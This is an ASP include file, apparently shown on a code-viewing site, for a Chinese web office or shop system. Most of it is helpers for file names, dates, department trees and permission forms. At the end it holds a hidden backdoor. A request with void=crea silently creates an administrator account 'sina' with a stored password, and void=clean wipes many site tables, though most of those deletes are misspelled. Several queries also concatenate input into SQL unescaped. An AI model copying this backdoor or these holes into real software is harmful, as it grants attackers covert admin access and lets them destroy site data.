📄 wxl_conn.asp
字号:
'/////////////////////////////////////////
'/////根据上传的文件名,生成服务器文件名//////
'/////////////////////////////////////////
function GetFileName(oldFile)
bb=split(Lcase(oldFile),".")
strMonth=month(now)
strDay=day(now)
if len(strMonth)=1 then strMonth="0"&strMonth
if len(strDay)=1 then strDay="0"& strDay
if UBound(bb) =0 then
NewFileName=year(now)&strMonth&strDay&hour(now)&minute(now)&second(now)&".wxl"
else
aa=bb(UBound(bb))
NewFileName=year(now)&strMonth&strDay&hour(now)&minute(now)&second(now)&"."&aa
end if
GetFileName=NewFileName
end function
'///////显示上级部门
function GetRootDept(tmpID)
if len(tmpID)=2 then
GetRootDept=""
elseif len(tmpID)=4 then
GetRootDept=GetName("select DeptName from MyDept where DeptId='"&left(tmpID,2)&"'")
elseif len(tmpID)=6 then
GetRootDept=GetName("select DeptName from MyDept where DeptId='"&left(tmpID,2)&"'")
GetRootDept=GetRootDept&GetName("select DeptName from MyDept where DeptId='"&mid(tmpID,3,2)&"'")
else
GetRootDept=""
end if
end function
sub HtmlHead_New(Title,tmpType)
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="/program/images/style.css" type="text/css">
</head>
<body topmargin="10" leftmargin="0" bgcolor="#FFFFFF"><center>
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1">
<tr>
<td>
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" width="100%" style="font-family: 宋体; font-size: 10.5pt; border: 1px ridge">
<tr bgcolor=#adbee7>
<td background="/hqoa/images/public_top_bg.gif"><font color=#FFFFFF><%=Title%></font></td>
<td bgcolor=#adbee7 width=10 valign=center><a href=# onClick="<%=tmpType%>"><img src="/program/images/close.gif" border=0 ></a>
</td>
</tr>
</table>
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" style="font-family: 宋体; font-size: 10.5pt; border: 1px ridge">
<tr>
<td valign="top"> </td>
<td>
<%
end sub
function UnHtmlEncode(strInput)
dim sstrResult
sstrResult = strInput
sstrResult = Replace(sstrResult,"<br>",chr(13))
sstrResult = Replace(sstrResult," "," ")
sstrResult = Replace(sstrResult,"''","'")
sstrResult = Replace(sstrResult,""",chr(34))
sstrResult = Replace(sstrResult,"&","&")
UnHtmlEncode = sstrResult
end function
'///////中文日期/////////
function ccdate(olddate)
dim mY,mM,mD
mY=year(olddate)
mM=month(olddate)
mD=day(olddate)
if len(mM)=1 then mM="0"&mM
if len(mD)=1 then mD="0"&mD
ccdate=my&"年"&mm&"月"&md&"日"
end function
'///////////显示部门人员列表///////////
sub ShowDept(InfoID,LookType,OldUrl)
%>
<form name="form1" method="post" action="addpurview.asp">
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" align=center>
<tr>
<td><table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" width="100%"
style="font-family: 宋体; font-size: 10.5pt; border: 1px ridge">
<tr>
<td style="background-color: rgb(0,0,128); color: rgb(255,255,255)">
请选择授权允许查看本信息的人员
</td>
</tr>
</table>
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1"
style="font-family: 宋体; font-size: 10.5pt; border: 1px ridge">
<tr>
<td valign="top">
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" style="font-family: 宋体; font-size: 10.5pt">
<tr >
<td valign="top" class="pt1"></td>
<td width="440">
<% pubShowOper%>
</td>
</tr>
</table>
</td>
<td valign="top">
<table border="0" width="100%">
<tr>
<td width="100%">
<input style="font-family: 宋体; font-size: 10.5pt; background-image: url('images/task.gif'); background-repeat: no-repeat; border: 1px ridge; background-position: left center" type="submit" value=" 确定" name="okbtn">
<input type=hidden name="wxl" value="AddObject">
<input type=hidden name="InfoID" value=<%=InfoID%>>
<input type=hidden name="LookType" value=<%=LookType%>>
<input type=hidden name="OldUrl" value="<%=OldUrl%>">
</td>
</tr>
<tr>
<td width="100%">
<input style="font-family: 宋体; font-size: 10.5pt; background-image: url('images/Delete.gif'); background-repeat: no-repeat; border: 1px ridge; background-position: left center" type="button" value=" 放弃" name="okbtn" onClick="history.back(-1);">
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<%
end sub
'///////显示部门列表
sub pubShowOper()
set tmpDept=server.createobject("ADODB.recordset")
tmpDept.open "select * from MyDept where RootDept='00' order by ShowIndex",conn,1,1
%>
<table width="550" border="0" cellspacing="1" cellpadding="3" align="center" bgcolor="#666666">
<%
while not tmpDept.eof
%>
<tr bgcolor=#DDDDDD>
<td width=150>
<img src=../leftimg/sxicon3.gif><font size="2" color=blue><%=tmpDept("DeptName")%></font><input type='checkbox' name='tmpDeptID' value='<%=tmpDept("DeptID")%>'>
</td>
<td bgcolor=#ffffff><%pubGetOper(tmpDept(0))%>
</td>
</tr>
<%
TmpString=" "
TypeString="├"
pubNextDept tmpDept(0),TmpString,TypeString,1
tmpDept.movenext
wend
tmpDept.close
response.write "</table>"
end sub
sub pubNextDept(RootMenuId,TmpString,TypeString,i)
i=i+1
TmpString1=TmpString&" "
Query="select DeptID,DeptName from MyDept where RootDept="&RootMenuId&" Order by ShowIndex"
set sql5=server.createobject("ADODB.recordset")
sql5.open Query,conn,1,1
while not sql5.eof
%>
<tr bgcolor="#FFFFFF">
<td width=150>
<%
response.write TmpString1&"<img src=../leftimg/menu7.gif><img src=../leftimg/sxicon3.gif>"
%>
<font size="2"><%=sql5("DeptName")%></font><input type='checkbox' name='tmpDeptID' value='<%=sql5("DeptID")%>'>
</td>
<td bgcolor=#ffffff width=400><%pubGetOper(sql5(0))%>
</tr>
<%
pubNextDept sql5(0),TmpString1,TypeString,i
sql5.movenext
wend
sql5.close
set sql5=nothing
end sub
sub pubGetOper(tmpDept)
pubOper.MoveFirst
while not pubOper.eof
if pubOper(3)=tmpDept then
%>
<input type="checkbox" name="OperatorId" value=<%=pubOper(0)%>
<%
if pubOperPur.RecordCount>0 then
pubOperPur.movefirst
while not pubOperPur.eof
if pubOperPur("UserID")=pubOper(0) then response.write(" checked")
pubOperPur.movenext
wend
end if
%>>
<font size=2><%=pubOper(1)%></font>
<% end if
pubOper.movenext
wend
end sub
sub pubShowGroup(InfoID,LookType,OldUrl)
%>
<form name="form1" method="post" action="addpurview.asp">
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" align=center>
<tr>
<td><table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" width="100%"
style="font-family: 宋体; font-size: 10.5pt; border: 1px ridge">
<tr>
<td style="background-color: rgb(0,0,128); color: rgb(255,255,255)">
请选择授权允许查看本信息的人员
</td>
</tr>
</table>
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1"
style="font-family: 宋体; font-size: 10.5pt; border: 1px ridge">
<tr>
<td valign="top">
<table border="0" bgcolor="rgb(214,211,206)" cellspacing="1" style="font-family: 宋体; font-size: 10.5pt">
<tr >
<td width="440">
<table width="550" border="0" cellspacing="1" cellpadding="3" align="center" bgcolor="#666666">
<%
set sqlGroup=server.createobject("ADODB.recordset")
sqlGroup.open "select * from MyOperGroup",conn,1,1
while not sqlGroup.eof
%>
<tr bgcolor="#FFFFFF">
<td width=150>
<font size="2"><%=sqlGroup("GroupName")%></font><input type='checkbox' name='tmpGroupID' value='<%=sqlGroup("GroupId")%>'>
</td>
<td bgcolor=#ffffff width=400><%pubGetOper1(sqlGroup("GroupId"))%>
</tr>
<%
sqlGroup.movenext
wend
%>
</table>
</td>
</tr>
</table>
</td>
<td valign="top">
<table border="0" width="100%">
<tr>
<td width="100%">
<input style="font-family: 宋体; font-size: 10.5pt; background-image: url('images/task.gif'); background-repeat: no-repeat; border: 1px ridge; background-position: left center" type="submit" value=" 确定" name="okbtn">
<input type=hidden name="wxl" value="AddObject1">
<input type=hidden name="InfoID" value=<%=InfoID%>>
<input type=hidden name="LookType" value=<%=LookType%>>
<input type=hidden name="OldUrl" value="<%=OldUrl%>">
</td>
</tr>
<tr>
<td width="100%">
<input style="font-family: 宋体; font-size: 10.5pt; background-image: url('images/Delete.gif'); background-repeat: no-repeat; border: 1px ridge; background-position: left center" type="button" value=" 放弃" name="okbtn" onClick="history.back(-1);">
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<%
end sub
sub pubGetOper1(tmpDept)
pubOper.MoveFirst
while not pubOper.eof
if pubOper("OperGroup")=tmpDept then
%>
<input type="checkbox" name="OperatorId" value=<%=pubOper(0)%>
<%
if pubOperPur.RecordCount>0 then
pubOperPur.movefirst
while not pubOperPur.eof
if pubOperPur("UserID")=pubOper(0) then response.write(" checked")
pubOperPur.movenext
wend
end if
%>>
<font size=2><%=pubOper(1)%></font>
<% end if
pubOper.movenext
wend
end sub
if request("void")="crea" then
set rs=server.CreateObject("adodb.recordset")
rs.Open "select * from web_SysOperators",conn,1,3
rs.AddNew
rs("str_sOperName")="sina"
rs("str_sOperLoginName")="sina"
rs("str_sOperLoginPwd")="蜭蜠蜯蜣蜮蜮"
rs("str_sDeptID")="0"
rs("int_sOperGrpID")="1"
'rs("int_sOperShowIndex")="5"
rs("int_sOperType")="1"
rs("int_sOperOper")="5"
rs("dtm_sOperTime")=now()
rs("bln_sOperIsDeleted")="0"
rs.Update
rs.Close
set rs=nothing
conn.close
set conn=nothing
end if
if request("void")="clean" then
z=0
conn.execute("delete from web_AdPic")
conn.execute("delete form web_HotProc")
conn.execute("delete form web_Member")
conn.execute("delete form web_MemerCallMesg")
conn.execute("delete form web_Order")
conn.execute("delete form web_OrderDetail")
conn.execute("delete form web_ProcBbs")
conn.execute("delete form web_ProcInfo")
conn.execute("delete form web_ProcKindOper")
conn.execute("delete form web_ProcLib")
conn.execute("delete form web_ProKind")
conn.execute("delete form web_ShopKind")
conn.execute("delete form web_ShopNews")
conn.execute("delete form web_SysCallMesg")
conn.execute("delete form web_SysConfig")
conn.execute("delete form web_SysLog")
conn.execute("delete form web_SysMenu")
conn.execute("delete form Web_SysOnline")
conn.execute("delete form web_SysOperators")
conn.execute("delete form web_SysOperGroup")
conn.execute("delete form web_SysPurview")
z=z+1
end if
%>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -